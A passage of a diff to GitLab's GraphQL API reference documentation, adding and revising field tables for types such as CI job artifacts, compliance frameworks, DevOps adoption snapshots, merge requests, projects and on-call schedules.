+| `name` | String | Name of the stage |
+
### CiGroup
| Field | Type | Description |
@@ -380,12 +426,20 @@ Represents the total number of issues and their weights for a particular day.
| Field | Type | Description |
| ----- | ---- | ----------- |
+| `artifacts` | CiJobArtifactConnection | Artifacts generated by the job |
| `detailedStatus` | DetailedStatus | Detailed status of the job |
| `name` | String | Name of the job |
| `needs` | CiJobConnection | Builds that must complete before the jobs run |
-| `pipeline` | Pipeline! | Pipeline the job belongs to |
+| `pipeline` | Pipeline | Pipeline the job belongs to |
| `scheduledAt` | Time | Schedule for the build |
+### CiJobArtifact
+
+| Field | Type | Description |
+| ----- | ---- | ----------- |
+| `downloadPath` | String | URL for downloading the artifact's file |
+| `fileType` | JobArtifactFileType | File type of the artifact |
+
### CiStage
| Field | Type | Description |
@@ -477,6 +531,7 @@ Represents the code coverage summary for a project.
| `message` | String | Raw commit message |
| `pipelines` | PipelineConnection | Pipelines of the commit ordered latest first |
| `sha` | String! | SHA1 ID of the commit |
+| `shortId` | String! | Short SHA1 ID of the commit |
| `signatureHtml` | String | Rendered HTML of the commit signature |
| `title` | String | Title of the commit message |
| `titleHtml` | String | The GitLab Flavored Markdown rendering of `title` |
@@ -499,6 +554,9 @@ Represents a ComplianceFramework associated with a Project.
| Field | Type | Description |
| ----- | ---- | ----------- |
+| `color` | String! | Hexadecimal representation of compliance framework's label color |
+| `description` | String! | Description of the compliance framework |
+| `id` | ID! | Compliance framework ID |
| `name` | String! | Name of the compliance framework |
### ConfigureSastPayload
@@ -542,6 +600,7 @@ A container repository.
| `location` | String! | URL of the container repository. |
| `name` | String! | Name of the container repository. |
| `path` | String! | Path of the container repository. |
+| `project` | Project! | Project of the container registry |
| `status` | ContainerRepositoryStatus | Status of the container repository. |
| `tagsCount` | Int! | Number of tags associated with this image. |
| `updatedAt` | Time! | Timestamp when the container repository was updated. |
@@ -560,6 +619,7 @@ Details of a container repository.
| `location` | String! | URL of the container repository. |
| `name` | String! | Name of the container repository. |
| `path` | String! | Path of the container repository. |
+| `project` | Project! | Project of the container registry |
| `status` | ContainerRepositoryStatus | Status of the container repository. |
| `tags` | ContainerRepositoryTagConnection | Tags of the container repository |
| `tagsCount` | Int! | Number of tags associated with this image. |
@@ -633,6 +693,16 @@ Autogenerated return type of CreateClusterAgent.
| `clusterAgent` | ClusterAgent | Cluster agent created after mutation |
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
+### CreateComplianceFrameworkPayload
+
+Autogenerated return type of CreateComplianceFramework.
+
+| Field | Type | Description |
+| ----- | ---- | ----------- |
+| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
+| `errors` | String! => Array | Errors encountered during execution of the mutation. |
+| `framework` | ComplianceFramework | The created compliance framework. |
+
### CreateCustomEmojiPayload
Autogenerated return type of CreateCustomEmoji.
@@ -643,6 +713,16 @@ Autogenerated return type of CreateCustomEmoji.
| `customEmoji` | CustomEmoji | The new custom emoji |
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
+### CreateDevopsAdoptionSegmentPayload
+
+Autogenerated return type of CreateDevopsAdoptionSegment.
+
+| Field | Type | Description |
+| ----- | ---- | ----------- |
+| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
+| `errors` | String! => Array | Errors encountered during execution of the mutation. |
+| `segment` | DevopsAdoptionSegment | The segment after mutation |
+
### CreateDiffNotePayload
Autogenerated return type of CreateDiffNote.
@@ -762,7 +842,7 @@ Represents a DAST scanner profile.
| Field | Type | Description |
| ----- | ---- | ----------- |
| `editPath` | String | Relative web path to the edit page of a scanner profile |
-| `globalId` **{warning-solid}** | DastScannerProfileID! | **Deprecated:** Use `id`. Deprecated in 13.6 |
+| `globalId` **{warning-solid}** | DastScannerProfileID! | **Deprecated:** Use `id`. Deprecated in 13.6. |
| `id` | DastScannerProfileID! | ID of the DAST scanner profile |
| `profileName` | String | Name of the DAST scanner profile |
| `scanType` | DastScanTypeEnum | Indicates the type of DAST scan that will run. Either a Passive Scan or an Active Scan. |
@@ -779,7 +859,7 @@ Autogenerated return type of DastScannerProfileCreate.
| ----- | ---- | ----------- |
| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
-| `globalId` **{warning-solid}** | DastScannerProfileID | **Deprecated:** Use `id`. Deprecated in 13.6 |
+| `globalId` **{warning-solid}** | DastScannerProfileID | **Deprecated:** Use `id`. Deprecated in 13.6. |
| `id` | DastScannerProfileID | ID of the scanner profile. |
### DastScannerProfileDeletePayload
@@ -809,6 +889,7 @@ Represents a DAST Site Profile.
| ----- | ---- | ----------- |
| `editPath` | String | Relative web path to the edit page of a site profile |
| `id` | DastSiteProfileID! | ID of the site profile |
+| `normalizedTargetUrl` | String | Normalized URL of the target to be scanned |
| `profileName` | String | The name of the site profile |
| `targetUrl` | String | The URL of the target to be scanned |
| `userPermissions` | DastSiteProfilePermissions! | Permissions for the current user on the resource |
@@ -869,8 +950,9 @@ Represents a DAST Site Validation.
| Field | Type | Description |
| ----- | ---- | ----------- |
-| `id` | DastSiteValidationID! | ID of the site validation |
-| `status` | DastSiteProfileValidationStatusEnum! | The status of the validation |
+| `id` | DastSiteValidationID! | Global ID of the site validation |
+| `normalizedTargetUrl` | String | Normalized URL of the target to be validated |
+| `status` | DastSiteProfileValidationStatusEnum! | Status of the site validation |
### DastSiteValidationCreatePayload
@@ -892,6 +974,15 @@ Autogenerated return type of DeleteAnnotation.
| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
+### DeleteDevopsAdoptionSegmentPayload
+
+Autogenerated return type of DeleteDevopsAdoptionSegment.
+
+| Field | Type | Description |
+| ----- | ---- | ----------- |
+| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
+| `errors` | String! => Array | Errors encountered during execution of the mutation. |
+
### DeleteJobsResponse
The response from the AdminSidekiqQueuesDeleteJobs mutation.
@@ -1027,6 +1118,15 @@ Autogenerated return type of DestroyBoard.
| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
+### DestroyComplianceFrameworkPayload
+
+Autogenerated return type of DestroyComplianceFramework.
+
+| Field | Type | Description |
+| ----- | ---- | ----------- |
+| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
+| `errors` | String! => Array | Errors encountered during execution of the mutation. |
+
### DestroyContainerRepositoryPayload
Autogenerated return type of DestroyContainerRepository.
@@ -1037,6 +1137,16 @@ Autogenerated return type of DestroyContainerRepository.
| `containerRepository` | ContainerRepository! | The container repository policy after scheduling the deletion. |
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
+### DestroyContainerRepositoryTagsPayload
+
+Autogenerated return type of DestroyContainerRepositoryTags.
+
+| Field | Type | Description |
+| ----- | ---- | ----------- |
+| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
+| `deletedTagNames` | String! => Array | Deleted container repository tags |
+| `errors` | String! => Array | Errors encountered during execution of the mutation. |
+
### DestroyNotePayload
Autogenerated return type of DestroyNote.
@@ -1077,10 +1187,28 @@ Segment.
| Field | Type | Description |
| ----- | ---- | ----------- |
-| `groups` | GroupConnection | Assigned groups |
+| `groups` | Group! => Array | Assigned groups |
| `id` | ID! | ID of the segment |
+| `latestSnapshot` | DevopsAdoptionSnapshot | The latest adoption metrics for the segment |
| `name` | String! | Name of the segment |
+### DevopsAdoptionSnapshot
+
+Snapshot.
+
+| Field | Type | Description |
+| ----- | ---- | ----------- |
+| `deploySucceeded` | Boolean! | At least one deployment succeeded |
+| `endTime` | Time! | The end time for the snapshot where the data points were collected |
+| `issueOpened` | Boolean! | At least one issue was opened |
+| `mergeRequestApproved` | Boolean! | At least one merge request was approved |
+| `mergeRequestOpened` | Boolean! | At least one merge request was opened |
+| `pipelineSucceeded` | Boolean! | At least one pipeline succeeded |
+| `recordedAt` | Time! | The time the snapshot was recorded |
+| `runnerConfigured` | Boolean! | At least one runner was used |
+| `securityScanSucceeded` | Boolean! | At least one security scan succeeded |
+| `startTime` | Time! | The start time for the snapshot where the data points were collected |
+
### DiffPosition
| Field | Type | Description |
@@ -1243,6 +1371,15 @@ Autogenerated return type of EpicAddIssue.
| `epicIssue` | EpicIssue | The epic-issue relation |
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
+### EpicBoard
+
+Represents an epic board.
+
+| Field | Type | Description |
+| ----- | ---- | ----------- |
+| `id` | BoardsEpicBoardID! | Global ID of the board |
+| `name` | String | Name of the board |
+
### EpicDescendantCount
Counts of descendent epics.
@@ -1282,8 +1419,8 @@ Relationship between an epic and an issue.
| `alertManagementAlert` | AlertManagementAlert | Alert associated to this issue |
| `assignees` | UserConnection | Assignees of the issue |
| `author` | User! | User that created the issue |
-| `blocked` | Boolean! | Indicates the issue is blocked |
-| `blockedByCount` | Int | Count of issues blocking this issue |
+| `blocked` | Boolean! | Indicates the issue is blocked. |
+| `blockedByCount` | Int | Count of issues blocking this issue. |
| `closedAt` | Time | Timestamp of when the issue was closed |
| `confidential` | Boolean! | Indicates the issue is confidential |
| `createdAt` | Time! | Timestamp of when the issue was created |
@@ -1296,15 +1433,16 @@ Relationship between an epic and an issue.
| `downvotes` | Int! | Number of downvotes the issue has received |
| `dueDate` | Time | Due date of the issue |
| `emailsDisabled` | Boolean! | Indicates if a project has email notifications disabled: `true` if email notifications are disabled |
-| `epic` | Epic | Epic to which this issue belongs |
+| `epic` | Epic | Epic to which this issue belongs. |
| `epicIssueId` | ID! | ID of the epic-issue relation |
-| `healthStatus` | HealthStatus | Current health status. Returns null if `save_issuable_health_status` feature flag is disabled. |
+| `healthStatus` | HealthStatus | Current health status. |
| `humanTimeEstimate` | String | Human-readable time estimate of the issue |
| `humanTotalTimeSpent` | String | Human-readable total time reported as spent on the issue |
| `id` | ID | Global ID of the epic-issue relation |
| `iid` | ID! | Internal ID of the issue |
-| `iteration` | Iteration | Iteration of the issue |
+| `iteration` | Iteration | Iteration of the issue. |
| `labels` | LabelConnection | Labels of the issue |
+| `metricImages` | MetricImage! => Array | Metric images associated to the issue. |
| `milestone` | Milestone | Milestone of the issue |
| `moved` | Boolean | Indicates if issue got moved from other project |
| `movedTo` | Issue | Updated Issue after it got moved to another project |
@@ -1316,7 +1454,7 @@ Relationship between an epic and an issue.
| `severity` | IssuableSeverity | Severity level of the incident |
| `slaDueAt` | Time | Timestamp of when the issue SLA expires. |
| `state` | IssueState! | State of the issue |
-| `statusPagePublishedIncident` | Boolean | Indicates whether an issue is published to the status page |
+| `statusPagePublishedIncident` | Boolean | Indicates whether an issue is published to the status page. |
| `subscribed` | Boolean! | Indicates the currently logged in user is subscribed to the issue |
| `taskCompletionStatus` | TaskCompletionStatus! | Task completion status of the issue |
| `timeEstimate` | Int! | Time estimate of the issue |
@@ -1332,7 +1470,7 @@ Relationship between an epic and an issue.
| `userPermissions` | IssuePermissions! | Permissions for the current user on the resource |
| `webPath` | String! | Web path of the issue |
| `webUrl` | String! | Web URL of the issue |
-| `weight` | Int | Weight of the issue |
+| `weight` | Int | Weight of the issue. |
### EpicPermissions
@@ -1368,6 +1506,20 @@ Autogenerated return type of EpicTreeReorder.
| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
+### ExternalIssue
+
+Represents an external issue.
+
+| Field | Type | Description |
+| ----- | ---- | ----------- |
+| `createdAt` | Time | Timestamp of when the issue was created |
+| `externalTracker` | String | Type of external tracker |
+| `relativeReference` | String | Relative reference of the issue in the external tracker |
+| `status` | String | Status of the issue in the external tracker |
+| `title` | String | Title of the issue in the external tracker |
+| `updatedAt` | Time | Timestamp of when the issue was updated |
+| `webUrl` | String | URL to the issue in the external tracker |
+
### GeoNode
| Field | Type | Description |
@@ -1386,7 +1538,7 @@ Autogenerated return type of EpicTreeReorder.
| `selectiveSyncNamespaces` | NamespaceConnection | The namespaces that should be synced, if `selective_sync_type` == `namespaces` |
| `selectiveSyncShards` | String! => Array | The repository storages whose projects should be synced, if `selective_sync_type` == `shards` |
| `selectiveSyncType` | String | Indicates if syncing is limited to only specific groups, or shards |
-| `snippetRepositoryRegistries` | SnippetRepositoryRegistryConnection | Find snippet repository registries on this Geo node. Available only when feature flag `geo_snippet_repository_replication` is enabled |
+| `snippetRepositoryRegistries` | SnippetRepositoryRegistryConnection | Find snippet repository registries on this Geo node |
| `syncObjectStorage` | Boolean | Indicates if this secondary node will replicate blobs in Object Storage |
| `terraformStateVersionRegistries` | TerraformStateVersionRegistryConnection | Find terraform state version registries on this Geo node |
| `url` | String | The user-facing URL for this Geo node |
@@ -1412,14 +1564,18 @@ Autogenerated return type of EpicTreeReorder.
| `avatarUrl` | String | Avatar URL of the group |
| `board` | Board | A single board of the group |
| `boards` | BoardConnection | Boards of the group |
-| `codeCoverageActivities` | CodeCoverageActivityConnection | Represents the code coverage activity for this group. Available only when feature flag `group_coverage_data_report_graph` is enabled |
-| `containerRepositories` | ContainerRepositoryConnection | Container repositories of the project |
+| `codeCoverageActivities` | CodeCoverageActivityConnection | Represents the code coverage activity for this group |
+| `complianceFrameworks` | ComplianceFrameworkConnection | Compliance frameworks available to projects in this namespace Available only when feature flag `ff_custom_compliance_frameworks` is enabled. |
+| `containerRepositories` | ContainerRepositoryConnection | Container repositories of the group |
+| `containerRepositoriesCount` | Int! | Number of container repositories in the group |
| `containsLockedProjects` | Boolean! | Includes at least one project where the repository size exceeds the limit |
-| `customEmoji` | CustomEmojiConnection | Custom emoji within this namespace. Available only when feature flag `custom_emoji` is enabled |
+| `customEmoji` | CustomEmojiConnection | Custom emoji within this namespace Available only when feature flag `custom_emoji` is enabled. |
| `description` | String | Description of the namespace |
| `descriptionHtml` | String | The GitLab Flavored Markdown rendering of `description` |
| `emailsDisabled` | Boolean | Indicates if a group has email notifications disabled |
| `epic` | Epic | Find a single epic |
+| `epicBoard` | EpicBoard | Find a single epic board |
+| `epicBoards` | EpicBoardConnection | Find epic boards |
| `epics` | EpicConnection | Find epics |
| `epicsEnabled` | Boolean | Indicates if Epics are enabled for namespace |
| `fullName` | String! | Full name of the namespace |
@@ -1458,7 +1614,7 @@ Autogenerated return type of EpicTreeReorder.
| `visibility` | String | Visibility of the namespace |
| `vulnerabilities` | VulnerabilityConnection | Vulnerabilities reported on the projects in the group and its subgroups |
| `vulnerabilitiesCountByDay` | VulnerabilitiesCountByDayConnection | Number of vulnerabilities per day for the projects in the group and its subgroups |
-| `vulnerabilitiesCountByDayAndSeverity` **{warning-solid}** | VulnerabilitiesCountByDayAndSeverityConnection | **Deprecated:** Use `vulnerabilitiesCountByDay`. Deprecated in 13.3 |
+| `vulnerabilitiesCountByDayAndSeverity` **{warning-solid}** | VulnerabilitiesCountByDayAndSeverityConnection | **Deprecated:** Use `vulnerabilitiesCountByDay`. Deprecated in 13.3. |
| `vulnerabilityGrades` | VulnerableProjectsByGrade! => Array | Represents vulnerable project counts for each grade |
| `vulnerabilityScanners` | VulnerabilityScannerConnection | Vulnerability scanners reported on the project vulnerabilties of the group and its subgroups |
| `vulnerabilitySeveritiesCount` | VulnerabilitySeveritiesCount | Counts for each vulnerability severity in the group and its subgroups |
@@ -1543,6 +1699,17 @@ Autogenerated return type of HttpIntegrationUpdate.
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
| `integration` | AlertManagementHttpIntegration | The HTTP integration |
+### IncidentManagementOncallSchedule
+
+Describes an incident management on-call schedule.
+
+| Field | Type | Description |
+| ----- | ---- | ----------- |
+| `description` | String | Description of the on-call schedule |
+| `iid` | ID! | Internal ID of the on-call schedule |
+| `name` | String! | Name of the on-call schedule |
+| `timezone` | String! | Time zone of the on-call schedule |
+
### InstanceSecurityDashboard
| Field | Type | Description |
@@ -1569,8 +1736,8 @@ Represents a recorded measurement (object count) for the Admins.
| `alertManagementAlert` | AlertManagementAlert | Alert associated to this issue |
| `assignees` | UserConnection | Assignees of the issue |
| `author` | User! | User that created the issue |
-| `blocked` | Boolean! | Indicates the issue is blocked |
-| `blockedByCount` | Int | Count of issues blocking this issue |
+| `blocked` | Boolean! | Indicates the issue is blocked. |
+| `blockedByCount` | Int | Count of issues blocking this issue. |
| `closedAt` | Time | Timestamp of when the issue was closed |
| `confidential` | Boolean! | Indicates the issue is confidential |
| `createdAt` | Time! | Timestamp of when the issue was created |
@@ -1583,14 +1750,15 @@ Represents a recorded measurement (object count) for the Admins.
| `downvotes` | Int! | Number of downvotes the issue has received |
| `dueDate` | Time | Due date of the issue |
| `emailsDisabled` | Boolean! | Indicates if a project has email notifications disabled: `true` if email notifications are disabled |
-| `epic` | Epic | Epic to which this issue belongs |
-| `healthStatus` | HealthStatus | Current health status. Returns null if `save_issuable_health_status` feature flag is disabled. |
+| `epic` | Epic | Epic to which this issue belongs. |
+| `healthStatus` | HealthStatus | Current health status. |
| `humanTimeEstimate` | String | Human-readable time estimate of the issue |
| `humanTotalTimeSpent` | String | Human-readable total time reported as spent on the issue |
| `id` | ID! | ID of the issue |
| `iid` | ID! | Internal ID of the issue |
-| `iteration` | Iteration | Iteration of the issue |
+| `iteration` | Iteration | Iteration of the issue. |
| `labels` | LabelConnection | Labels of the issue |
+| `metricImages` | MetricImage! => Array | Metric images associated to the issue. |
| `milestone` | Milestone | Milestone of the issue |
| `moved` | Boolean | Indicates if issue got moved from other project |
| `movedTo` | Issue | Updated Issue after it got moved to another project |
@@ -1601,7 +1769,7 @@ Represents a recorded measurement (object count) for the Admins.
| `severity` | IssuableSeverity | Severity level of the incident |
| `slaDueAt` | Time | Timestamp of when the issue SLA expires. |
| `state` | IssueState! | State of the issue |
-| `statusPagePublishedIncident` | Boolean | Indicates whether an issue is published to the status page |
+| `statusPagePublishedIncident` | Boolean | Indicates whether an issue is published to the status page. |
| `subscribed` | Boolean! | Indicates the currently logged in user is subscribed to the issue |
| `taskCompletionStatus` | TaskCompletionStatus! | Task completion status of the issue |
| `timeEstimate` | Int! | Time estimate of the issue |
@@ -1617,7 +1785,7 @@ Represents a recorded measurement (object count) for the Admins.
| `userPermissions` | IssuePermissions! | Permissions for the current user on the resource |
| `webPath` | String! | Web path of the issue |
| `webUrl` | String! | Web URL of the issue |
-| `weight` | Int | Weight of the issue |
+| `weight` | Int | Weight of the issue. |
### IssueMoveListPayload
@@ -1878,11 +2046,14 @@ Autogenerated return type of MarkAsSpamSnippet.
| `assignees` | UserConnection | Assignees of the merge request |
| `author` | User | User who created this merge request |
| `autoMergeEnabled` | Boolean! | Indicates if auto merge is enabled for the merge request |
+| `availableAutoMergeStrategies` | String! => Array | Array of available auto merge strategies |
| `commitCount` | Int | Number of commits in the merge request |
+| `commitsWithoutMergeCommits` | CommitConnection | Merge request commits excluding merge commits |
| `conflicts` | Boolean! | Indicates if the merge request has conflicts |
| `createdAt` | Time! | Timestamp of when the merge request was created |
| `currentUserTodos` | TodoConnection! | Todos for the current user |
| `defaultMergeCommitMessage` | String | Default merge commit message of the merge request |
+| `defaultMergeCommitMessageWithDescription` | String | Default merge commit message of the merge request with description |
| `description` | String | Description of the merge request (Markdown rendered as HTML for caching) |
| `descriptionHtml` | String | The GitLab Flavored Markdown rendering of `description` |
| `diffHeadSha` | String | Diff head SHA of the merge request |
@@ -1893,6 +2064,7 @@ Autogenerated return type of MarkAsSpamSnippet.
| `discussions` | DiscussionConnection! | All discussions on this noteable |
| `downvotes` | Int! | Number of downvotes for the merge request |
| `forceRemoveSourceBranch` | Boolean | Indicates if the project settings will lead to source branch deletion after merge |
+| `hasCi` | Boolean! | Indicates if the merge request has CI |
| `headPipeline` | Pipeline | The pipeline running on the branch HEAD of the merge request |
| `id` | ID! | ID of the merge request |
| `iid` | String! | Internal ID of the merge request |
@@ -1902,24 +2074,29 @@ Autogenerated return type of MarkAsSpamSnippet.
| `mergeError` | String | Error message due to a merge error |
| `mergeOngoing` | Boolean! | Indicates if a merge is currently occurring |
| `mergeStatus` | String | Status of the merge request |
+| `mergeTrainsCount` | Int | |
| `mergeWhenPipelineSucceeds` | Boolean | Indicates if the merge has been set to be merged when its pipeline succeeds (MWPS) |
+| `mergeable` | Boolean! | Indicates if the merge request is mergeable |
| `mergeableDiscussionsState` | Boolean | Indicates if all discussions in the merge request have been resolved, allowing the merge request to be merged |
| `mergedAt` | Time | Timestamp of when the merge request was merged, null if not merged |
| `milestone` | Milestone | The milestone of the merge request |
| `notes` | NoteConnection! | All notes on this noteable |
| `participants` | UserConnection | Participants in the merge request |
-| `pipelines` | PipelineConnection | Pipelines for the merge request |
+| `pipelines` | PipelineConnection | Pipelines for the merge request. Note: for performance reasons, no more than the most recent 500 pipelines will be returned. |
| `project` | Project! | Alias for target_project |
| `projectId` | Int! | ID of the merge request project |
| `rebaseCommitSha` | String | Rebase commit SHA of the merge request |
| `rebaseInProgress` | Boolean! | Indicates if there is a rebase currently in progress for the merge request |
| `reference` | String! | Internal reference of the merge request. Returned in shortened format by default |
+| `securityAutoFix` | Boolean | Indicates if the merge request is created by @GitLab-Security-Bot. |
| `shouldBeRebased` | Boolean! | Indicates if the merge request will be rebased |
| `shouldRemoveSourceBranch` | Boolean | Indicates if the source branch of the merge request will be deleted after merge |
| `sourceBranch` | String! | Source branch of the merge request |
| `sourceBranchExists` | Boolean! | Indicates if the source branch of the merge request exists |
+| `sourceBranchProtected` | Boolean! | Indicates if the source branch is protected |
| `sourceProject` | Project | Source project of the merge request |
| `sourceProjectId` | Int | ID of the merge request source project |
+| `squashOnMerge` | Boolean! | Indicates if squash on merge is enabled |
| `state` | MergeRequestState! | State of the merge request |
| `subscribed` | Boolean! | Indicates if the currently logged in user is subscribed to this merge request |
| `targetBranch` | String! | Target branch of the merge request |
@@ -2057,6 +2234,18 @@ Autogenerated return type of MergeRequestUpdate.
| `revision` | String! | Revision |
| `version` | String! | Version |
+### MetricImage
+
+Represents a metric image upload.
+
+| Field | Type | Description |
+| ----- | ---- | ----------- |
+| `fileName` | String | File name of the metric image |
+| `filePath` | String | File path of the metric image |
+| `id` | ID! | ID of the metric upload |
+| `iid` | ID! | Internal ID of the metric upload |
+| `url` | String! | URL of the metric source |
+
### MetricsDashboard
| Field | Type | Description |
@@ -2111,6 +2300,7 @@ Contains statistics about a milestone.
| ----- | ---- | ----------- |
| `actualRepositorySizeLimit` | Float | Size limit for repositories in the namespace in bytes |
| `additionalPurchasedStorageSize` | Float | Additional storage purchased for the root namespace in bytes |
+| `complianceFrameworks` | ComplianceFrameworkConnection | Compliance frameworks available to projects in this namespace Available only when feature flag `ff_custom_compliance_frameworks` is enabled. |
| `containsLockedProjects` | Boolean! | Includes at least one project where the repository size exceeds the limit |
| `description` | String | Description of the namespace |
| `descriptionHtml` | String | The GitLab Flavored Markdown rendering of `description` |
@@ -2174,6 +2364,36 @@ Autogenerated return type of NamespaceIncreaseStorageTemporarily.
| `repositionNote` | Boolean! | Indicates the user can perform `reposition_note` on this resource |
| `resolveNote` | Boolean! | Indicates the user can perform `resolve_note` on this resource |
+### OncallScheduleCreatePayload
+
+Autogenerated return type of OncallScheduleCreate.
+
+| Field | Type | Description |
+| ----- | ---- | ----------- |
+| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
+| `errors` | String! => Array | Errors encountered during execution of the mutation. |
+| `oncallSchedule` | IncidentManagementOncallSchedule | The on-call schedule |
+
+### OncallScheduleDestroyPayload
+
+Autogenerated return type of OncallScheduleDestroy.
+
+| Field | Type | Description |
+| ----- | ---- | ----------- |
+| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
+| `errors` | String! => Array | Errors encountered during execution of the mutation. |
+| `oncallSchedule` | IncidentManagementOncallSchedule | The on-call schedule |
+
+### OncallScheduleUpdatePayload
+
+Autogenerated return type of OncallScheduleUpdate.
+
+| Field | Type | Description |
+| ----- | ---- | ----------- |
+| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
+| `errors` | String! => Array | Errors encountered during execution of the mutation. |
+| `oncallSchedule` | IncidentManagementOncallSchedule | The on-call schedule |
+
### Package
Represents a package.
@@ -2217,6 +2437,7 @@ Information about pagination in a connection..
| Field | Type | Description |
| ----- | ---- | ----------- |
+| `active` | Boolean! | Indicates if the pipeline is active |
| `beforeSha` | String | Base SHA of the source branch |
| `cancelable` | Boolean! | Specifies if a pipeline can be canceled |
| `committedAt` | Time | Timestamp of the pipeline's commit |
@@ -2244,6 +2465,22 @@ Information about pagination in a connection..
| `user` | User | Pipeline user |
| `userPermissions` | PipelinePermissions! | Permissions for the current user on the resource |
+### PipelineAnalytics
+
+| Field | Type | Description |
+| ----- | ---- | ----------- |
+| `monthPipelinesLabels` | String! => Array | Labels for the monthly pipeline count |
+| `monthPipelinesSuccessful` | Int! => Array | Total monthly successful pipeline count |
+| `monthPipelinesTotals` | Int! => Array | Total monthly pipeline count |
+| `pipelineTimesLabels` | String! => Array | Pipeline times labels |
+| `pipelineTimesValues` | Int! => Array | Pipeline times |
+| `weekPipelinesLabels` | String! => Array | Labels for the weekly pipeline count |
+| `weekPipelinesSuccessful` | Int! => Array | Total weekly successful pipeline count |
+| `weekPipelinesTotals` | Int! => Array | Total weekly pipeline count |
+| `yearPipelinesLabels` | String! => Array | Labels for the yearly pipeline count |
+| `yearPipelinesSuccessful` | Int! => Array | Total yearly successful pipeline count |
+| `yearPipelinesTotals` | Int! => Array | Total yearly pipeline count |
+
### PipelineCancelPayload
Autogenerated return type of PipelineCancel.
@@ -2295,6 +2532,7 @@ Autogenerated return type of PipelineRetry.
| `avatarUrl` | String | URL to avatar image file of the project |
| `board` | Board | A single board of the project |
| `boards` | BoardConnection | Boards of the project |
+| `ciCdSettings` | ProjectCiCdSetting | CI/CD settings for the project |
| `clusterAgent` | ClusterAgent | Find a single cluster agent by name |
| `clusterAgents` | ClusterAgentConnection | Cluster agents associated with the project |
| `codeCoverageSummary` | CodeCoverageSummary | Code coverage summary associated with the project |
@@ -2302,11 +2540,13 @@ Autogenerated return type of PipelineRetry.
| `containerExpirationPolicy` | ContainerExpirationPolicy | The container expiration policy of the project |
| `containerRegistryEnabled` | Boolean | Indicates if the project stores Docker container images in a container registry |
| `containerRepositories` | ContainerRepositoryConnection | Container repositories of the project |
+| `containerRepositoriesCount` | Int! | Number of container repositories in the project |
| `createdAt` | Time | Timestamp of the project creation |
| `dastScannerProfiles` | DastScannerProfileConnection | The DAST scanner profiles associated with the project |
| `dastSiteProfile` | DastSiteProfile | DAST Site Profile associated with the project |
| `dastSiteProfiles` | DastSiteProfileConnection | DAST Site Profiles associated with the project |
-| `dastSiteValidation` | DastSiteValidation | DAST Site Validation associated with the project |
+| `dastSiteValidation` | DastSiteValidation | DAST Site Validation associated with the project. Will always return `null` if `security_on_demand_scans_site_validation` is disabled |
+| `dastSiteValidations` | DastSiteValidationConnection | DAST Site Validations associated with the project. Will always return no nodes if `security_on_demand_scans_site_validation` is disabled |
| `description` | String | Short description of the project |
| `descriptionHtml` | String | The GitLab Flavored Markdown rendering of `description` |
| `environment` | Environment | A single environment of the project |
@@ -2318,6 +2558,7 @@ Autogenerated return type of PipelineRetry.
| `httpUrlToRepo` | String | URL to connect to the project via HTTPS |
| `id` | ID! | ID of the project |
| `importStatus` | String | Status of import background job of the project |
+| `incidentManagementOncallSchedules` | IncidentManagementOncallScheduleConnection | Incident Management On-call schedules of the project |
| `issue` | Issue | A single issue of the project |
| `issueStatusCounts` | IssueStatusCountsType | Counts of issues by status for the project |
| `issues` | IssueConnection | Issues of the project |
@@ -2344,6 +2585,7 @@ Autogenerated return type of PipelineRetry.
| `packages` | PackageConnection | Packages of the project |
| `path` | String! | Path of the project |
| `pipeline` | Pipeline | Build pipeline of the project |
+| `pipelineAnalytics` | PipelineAnalytics | Pipeline analytics |
| `pipelines` | PipelineConnection | Build pipelines of the project |
| `printingMergeRequestLinkEnabled` | Boolean | Indicates if a link to create or view a merge request should display after a push to Git repositories of the project from the command line |
| `projectMembers` | MemberInterfaceConnection | Members of the project |
@@ -2368,12 +2610,14 @@ Autogenerated return type of PipelineRetry.
| `sharedRunnersEnabled` | Boolean | Indicates if shared runners are enabled for the project |
| `snippets` | SnippetConnection | Snippets of the project |
| `snippetsEnabled` | Boolean | Indicates if Snippets are enabled for the current user |
+| `squashReadOnly` | Boolean! | Indicates if squash readonly is enabled |
| `sshUrlToRepo` | String | URL to connect to the project via SSH |
| `starCount` | Int! | Number of times the project has been starred |
| `statistics` | ProjectStatistics | Statistics of the project |
| `suggestionCommitMessage` | String | The commit message used to apply merge request suggestions |
| `tagList` | String | List of project topics (not Git tags) |
| `terraformStates` | TerraformStateConnection | Terraform states associated with the project |
+| `totalPipelineDuration` | Int | Total pipeline duration for all of the pipelines in a project |
| `userPermissions` | ProjectPermissions! | Permissions for the current user on the resource |
| `visibility` | String | Visibility of the project |
| `vulnerabilities` | VulnerabilityConnection | Vulnerabilities reported on the project |
@@ -2383,6 +2627,14 @@ Autogenerated return type of PipelineRetry.
| `webUrl` | String | Web URL of the project |
| `wikiEnabled` | Boolean | Indicates if Wikis are enabled for the current user |
+### ProjectCiCdSetting
+
+| Field | Type | Description |
+| ----- | ---- | ----------- |
+| `mergePipelinesEnabled` | Boolean | Whether merge pipelines are enabled. |
+| `mergeTrainsEnabled` | Boolean | Whether merge trains are enabled. |
+| `project` | Project | Project the CI/CD settings belong to. |
+
### ProjectMember
Represents a Project Membership.
@@ -2564,6 +2816,16 @@ Autogenerated return type of ReleaseCreate.
| `errors` | String! => Array | Errors encountered during execution of the mutation. |
| `release` | Release | The release after mutation |
+### ReleaseDeletePayload
+
+Autogenerated return type of ReleaseDelete.
+
+| Field | Type | Description |
+| ----- | ---- | ----------- |
+| `clientMutationId` | String | A unique identifier for the client performing the mutation. |
+| `errors` | String! => Array | Errors encountered during execution of the mutation. |
